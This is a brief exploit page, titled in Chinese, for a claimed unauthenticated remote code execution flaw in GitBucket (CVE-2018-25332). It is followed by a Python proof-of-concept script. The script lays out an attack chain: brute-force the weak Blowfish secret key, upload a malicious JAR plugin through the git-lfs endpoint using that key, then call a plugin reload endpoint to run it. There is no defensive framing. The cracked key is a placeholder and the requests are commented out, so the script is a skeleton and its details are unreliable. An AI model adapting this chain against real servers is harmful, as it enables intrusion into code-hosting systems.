CVE-2018-25332 GitBucket未认证远程代码执行漏洞

import requests # Target configuration target_host = "http://vulnerable-gitbucket:8080" # Step 1: Brute force the weak Blowfish secret key # The key space is small, allowing rapid cracking. secret_key = "cracked_secret_key" # Step 2: Prepare malicious JAR plugin malicious_jar_path = "./exploit.jar" lfs_endpoint = f"{target_host}/git-lfs/objects/batch" # Step 3: Upload the malicious JAR via git-lfs # Use the cracked key to sign/authenticate the upload request files = {"file": open(malicious_jar_path, "rb")} headers = {"Authorization": f"Bearer {secret_key}"} # response = requests.post(lfs_endpoint, files=files, headers=headers) # print(f"Upload status: {response.status_code}") # Step 4: Trigger RCE # Access the exposed endpoint to force load the uploaded plugin trigger_url = f"{target_host}/api/v3/plugins/reload" # requests.post(trigger_url, headers=headers) print("PoC Logic completed: Key Brute-force -> JAR Upload -> RCE Trigger")